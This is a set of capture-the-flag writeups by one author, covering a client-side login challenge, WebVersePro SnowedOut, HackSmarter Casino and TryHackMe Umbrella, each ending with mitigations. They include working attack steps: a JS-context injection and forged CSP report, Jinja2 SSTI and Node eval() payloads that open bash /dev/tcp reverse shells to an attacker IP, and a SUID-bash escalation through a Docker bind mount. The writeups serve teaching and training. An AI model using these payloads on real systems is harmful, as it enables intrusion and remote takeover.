  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}

Two things fall out of this immediately:

The credential check happens entirely client-side, with the username hardcoded (h3ck3rBoi) and the password only lightly obfuscated via string reversal.
On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.

5. Recovering the Credentials

Reversing the obfuscated password string by hand:

54321@terceSrepuS  ->  SuperSecret@12345

Recovered credentials:

username: h3ck3rBoi
password: SuperSecret@12345

6. Retrieving the Flag

Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:

curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"

Response:

Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Client-side authentication logic	`login.html` inline `<script>`	Credentials and pass/fail logic fully readable in page source, no server-side verification
2	Weak obfuscation (string reversal) of password	Inline JS `RevereString()`	Trivial to reverse by hand, provides no real protection
3	Predictable, credential-derived sensitive file path	Inline JS `xhttp.open(...)` URL construction	Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form

Attack Chain

Recon (nmap: 22, 80 open)

    |

    v

Enumerate index.html -> hints at login.html

    |

    v

gobuster -> confirms login.html, no backend endpoints

    |

    v

curl login.html -> read inline <script> source

    |

    v

Extract hardcoded username + reverse obfuscated password

    |

    v

Derive flag filename from JS template string (no browser needed)

    |

    v

curl flag file directly -> flag captured

Mitigations

Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.
Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.
Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.
Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.

WebVersePro : SnowedOut writeup

Yogeshwar Peela — Tue, 01 Sep 2026 13:03:18 +0000

1. Overview

The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.

2. Recon

Fetching the root page:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/

Three things stand out in the HTML:

The zone value is reflected into an inline <script> block that builds a config object:

  <script nonce="...">
  var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900};
  </script>

A hidden solve banner sits in the markup, unused until triggered:

  <div id="wv-solve" class="pt-solve" hidden></div>

poll.js polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:

  fetch("/__status.php", { credentials: "include" })
    .then(r => r.json())
    .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });

Checking that endpoint directly confirms a simple state machine:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}

So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.

3. Confirming the Injection Point

Testing whether zone is escaped when reflected into the inline script:

curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};

Trying to break out of the string with a JS-context payload:

curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
  | grep -o 'var CFG = {.*}'

var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};

The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.

4. Reading the CSP Header

curl -s -I https://.../ | grep -i content-security

content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php

Two details matter:

It's Content-Security-Policy-Report-Only, not an enforcing Content-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected alert(1) from running.
Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new <script> tag - it executes inside the same inline <script nonce="..."> block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.

The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.

5. Dead Ends: Chasing a Classic XSS Detector

Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:

Just popping alert(1) and re-checking /__status.php - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.
Exfiltrating to an external webhook (fetch("https://webhook.site/...") injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.
Directly POSTing to /__status.php (e.g. -d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.

This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.

6. The Actual Solve Condition

Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.

Sending a crafted report that matches the shape a real browser would produce for this exact policy:

curl -s -X POST 'https://.../__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }' \
  -c cookies.txt

Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:

curl -s -b cookies.txt https://.../__status.php

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.

7. Full Reproduction (Copy-Paste)

# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
  --data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'

# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
  -c cookies.txt

# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php

Result:

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

8. Root Cause

Unescaped reflection into a JS string literal. The zone query parameter is written directly into an inline <script> block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.
CSP deployed in report-only mode. A correctly configured nonce-based script-src would ordinarily stop injected <script> tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.
The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.

9. Fix Recommendations

Never interpolate user input into inline <script> source via string concatenation. Encode values with JSON.stringify() (escaping <, >, &, and quotes) before embedding them, or better, pass data via a data-* attribute and read it with textContent/getAttribute, as map.js already does safely elsewhere on this page.
Enforce the CSP (Content-Security-Policy, not -Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.
If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate document-uri/blocked-uri with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.

HackSmarter - Casino Writeup

Yogeshwar Peela — Tue, 25 Aug 2026 13:04:45 +0000

Summary

Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.

Recon

Full TCP scan:

nmap -A -p- <MACHINE-IP> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".

Content discovery:

dirsearch -u http://<MACHINE-IP>/ -x 403,404

[07:42:29] 200 -    5KB - /login

whatweb http://<MACHINE-IP>/

http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...

Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.

Source map leak → unauthenticated API disclosure

The login page loads a minified script:

curl http://<MACHINE-IP>/static/js/app.min.js

function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map

The sourcemap reference is still deployed and readable:

curl http://<MACHINE-IP>/static/js/app.min.js.map

{
  "version": 3,
  "file": "app.min.js",
  "sources": ["src/api/roomVerification.js"],
  "sourcesContent": [
    "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}

This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:

curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'

{
  "filter": "occupied",
  "rooms": [
    { "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
    ...
    { "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
  ],
  "status": "success",
  "total_records": 100
}

The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.

Login bypass via leaked guest data

Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:

curl -i -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/login' \
  -d 'room_number=[REDACTED]' \
  -d 'last_name=[REDACTED]'

HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/

The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.

SSTI discovery on /profile

The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  -d 'display_name={{7*7}}'

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>

{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.

First RCE attempt — failed (shell quoting, not a WAF)

The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.

It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.

In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:

'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'

os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.

The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.

Successful RCE via `--data-urlencode`

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>

lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.

Reverse shell

With confirmed RCE, catching a shell with penelope:

penelope listen -p 4444

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"

[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3

www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirming we're inside a Docker container

The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:

www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]

So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.

App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):

www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db

Local enumeration → password reuse

www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david  george

Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:

www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...

Two findings here:

chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly the user.txt flag's hint).
su david / [REDACTED]: george typed david's su password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.

george's user flag is readable directly as www-data:

www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}

Privilege escalation → david

www-data@5ee06b607cca:/home/george$ su david
Password: 
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

david isn't in sudoers:

david@5ee06b607cca:~$ sudo -l
[sudo] password for david: 
Sorry, user david may not run sudo on 5ee06b607cca.

But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:

david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm     612 Aug 25 11:35 provisioning.log

david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]

A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.

Root

david@5ee06b607cca:~$ su root
Password: 
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}

Attack Chain

Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7*7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt

Key Vulnerabilities & Mitigations

#	Vulnerability	Impact	Mitigation
1	Deployed JS sourcemap (`app.min.js.map`) leaks internal API path	Recon → exposes hidden endpoint	Never ship `.map` files to production; strip source maps in the build pipeline
2	`/api/v1/rooms/status` has no authentication	Full guest PII dump (room + last name), enables login bypass	Require session/auth on all internal APIs; never trust "kiosk-only" obscurity
3	Guest login only checks room number + last name (both leaked by #2)	Account takeover of any guest	Add a real secret (booking reference, OTP) not derivable from other endpoints
4	`display_name` rendered via unsandboxed Jinja2 (`render_template_string`)	Server-side template injection → RCE as `www-data`	Never pass user input into `render_template_string`; use `render_template` with a fixed template and pass data as a context variable only
5	World-readable `george` and `david` home directories, a `.bash_history` with credentials, and a self-chmod'd `644` SSH private key	Credential and key disclosure to any local user	`chmod 700` home directories, never type passwords on the command line, disable/clear history for sensitive commands, `chmod 600` private keys
6	Password reuse between `su` login and MySQL account	One leaked credential compromises multiple services	Unique credentials per service, use a secrets manager
7	`adm` group grants read access to `/var/log`, and a provisioning script logged the root password at DEBUG level	Local user → root	Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts

TryHackMe : Umbrella Writeup

Yogeshwar Peela — Mon, 24 Aug 2026 10:28:43 +0000

Introduction

Umbrella is a medium-difficulty TryHackMe box built around a leaky Docker registry, an exposed Node.js time-tracking application, and a classic writable-log privilege escalation. The path goes: enumerate an unauthenticated Docker Registry API, extract a hardcoded database password from an image's build history, dump and crack MySQL credentials, log into the web app with a valid pair, abuse an eval() code execution flaw in the time-tracking feature to get a reverse shell inside the app's container, and finally pivot from a shared, container-writable log directory into a root shell on the host via a SUID bash binary.

Throughout this writeup, <machine-ip> refers to the target box and <attacker-ip> refers to the attacking Kali host.

Reconnaissance

Started with a standard aggressive Nmap scan against the target.

nmap -A -Pn <machine-ip> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
3306/tcp open  mysql   MySQL 5.7.40
5000/tcp open  http    Docker Registry (API: 2.0)
8080/tcp open  http    Node.js (Express middleware)

Four open ports: SSH, a directly exposed MySQL instance, a Docker Registry API on 5000, and an Express-based web app on 8080.

Checking the web app first:

curl http://<machine-ip>:8080/

Returned a simple login form posting to /auth, nothing more without credentials.

The Docker Registry on port 5000 was more interesting - it's rare to see this exposed directly, and when it's unauthenticated it turns into a straightforward source of credentials and app internals.

Enumerating the Docker Registry

Docker Registry API v2 exposes a predictable set of endpoints when there's no auth in front of it. Started with the catalog:

curl http://<machine-ip>:5000/v2/_catalog

{"repositories":["umbrella/timetracking"]}

One repository: umbrella/timetracking. Pulled its tags:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/tags/list

{"name":"umbrella/timetracking","tags":["latest"]}

Then pulled the image manifest for latest:

curl http://<machine-ip>:5000/v2/umbrella/timetracking/manifests/latest

The manifest's history array contains the full v1Compatibility build history for every layer, including every ENV instruction baked into the image at build time. Buried in the first history entry's config.Env list:

"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NODE_VERSION=19.3.0",
"YARN_VERSION=1.22.19",
"DB_HOST=db",
"DB_USER=root",
"DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5",
"DB_DATABASE=timetracking",
"LOG_FILE=/logs/tt.log"]

A full set of MySQL credentials, straight out of the image build metadata, with zero need to pull or extract a single layer blob.

MySQL Access and Credential Dump

The MySQL client failed initially over a self-signed cert:

mysql -h <machine-ip>
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

Disabling SSL verification and authenticating as root with the password pulled from the registry got a shell:

mysql -h <machine-ip> -u root --ssl=0 -p

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| timetracking       |
+--------------------+

MySQL [(none)]> use timetracking;
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users                  |
+------------------------+

MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+

Four users, each with an MD5 hash and an accumulated "time spent" value tied to the app's core feature. barry-b's time value was a massive outlier compared to the rest, which turned out to be relevant later.

Cracked all four hashes with John and rockyou:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

letmein          (?)
sunshine1         (?)
Password1         (?)
sandwich          (?)
4g 0:00:00:00 DONE

Matched each cracked password back to its hash with echo -n <pass> | md5sum to build the full mapping:

user	password
claire-r	Password1
chris-r	letmein
jill-v	sunshine1
barry-b	sandwich

Foothold

None of the four pairs worked against the web app's /auth endpoint - every attempt redirected straight back to the login page. SSH was the actual match: only claire-r:Password1 authenticated successfully.

ssh claire-r@<machine-ip>

claire-r@ip-<machine-ip>:~$ id
uid=1001(claire-r) gid=1001(claire-r) groups=1001(claire-r)

Grabbed the user flag immediately:

claire-r@ip-<machine-ip>:~$ cat user.txt
THM{redacted}

sudo -l confirmed no sudo rights for this account, so the next step was exploring the home directory for anything left behind.

Source Code Review and RCE

Claire's home directory contained a full copy of the app's source, timeTracker-src, including app.js, the docker-compose.yml, and a live-writable logs/ directory. The docker-compose.yml confirmed the container layout:

version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
    ports:
      - '3306:3306'
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs

Critically, ./logs:/logs is a bind mount - the logs directory on the host filesystem is the exact same directory the app container writes to, and it's writable by claire-r (drwxrw-rw-).

The vulnerability was in app.js, in the /time route handler:

app.post('/time', function(request, response) {
    if (request.session.loggedin && request.session.username) {
        let timeCalc = parseInt(eval(request.body.time));
        let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;
        connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], ...);
    }
});

The time field submitted on the "Increase time spent" form goes straight into eval(). The app even advertises this in its own UI as a feature ("Pro Tip: You can also use mathematical expressions, e.g. 5+4"), which is exactly the kind of hint that turns into unauthenticated-adjacent RCE.

Logged into the web app as claire-r:Password1, then submitted the following as the "time" value on /time:

require('child_process').exec('bash -c "bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"')

eval() executed the payload server-side inside the app container, and a reverse shell landed on a listener on port 4444:

root@de0610f51845:/usr/src/app# whoami
root
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)

Root inside the container - but this is an isolated Docker container, not the host, and docker wasn't even installed inside it to pivot from. The way out was the shared bind mount identified earlier.

Privilege Escalation via Shared Log Volume

Since /logs inside the container is the same filesystem location as ~/timeTracker-src/logs on the host, and the app container is running as root, anything written to /logs from inside the container lands on the host owned by root - with the app's own filesystem permissions.

Confirmed the mount was shared by writing a test file from inside the container:

root@de0610f51845:~# echo 'test' > /logs/test

claire-r@ip-<machine-ip>:~/timeTracker-src$ cat logs/test
test

From there, the plan was simple: drop a copy of bash into the shared directory from the root-owned container side, then set the SUID bit on it - also from the container, since claire-r has no permission to chmod as root, but root inside the container writing to a bind-mounted host directory doesn't care about that boundary.

root@de0610f51845:~# cp /bin/bash /logs/bash
root@de0610f51845:~# chmod 4777 /logs/bash

Back on the SSH session as claire-r:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ ls -la bash
-rwsrwxrwx 1 root root 1234376 Aug 24 10:16 bash

SUID bit set, owned by root. Running it with -p to preserve privileges on exec:

claire-r@ip-<machine-ip>:~/timeTracker-src/logs$ /home/claire-r/timeTracker-src/logs/bash -p
bash-5.1# whoami
root

Root shell on the host. Grabbed the final flag:

bash-5.1# cat /root/root.txt
THM{redacted}

Attack Chain Summary

Nmap reveals SSH, exposed MySQL, an unauthenticated Docker Registry (5000), and an Express web app (8080).
Docker Registry API's manifest history leaks hardcoded MySQL root credentials via build-time ENV instructions.
Those credentials authenticate directly to the exposed MySQL instance, dumping the app's users table (MD5 password hashes).
rockyou + John cracks all four hashes in seconds - weak, dictionary-guessable passwords.
Credential pair claire-r:Password1 doesn't work on the web app but does work over SSH, giving an initial low-privilege foothold and the user flag.
Local source code review of the app reveals an eval() on user-controlled input in the /time endpoint.
Authenticated RCE via eval() gets a reverse shell as root - but inside an isolated Docker container.
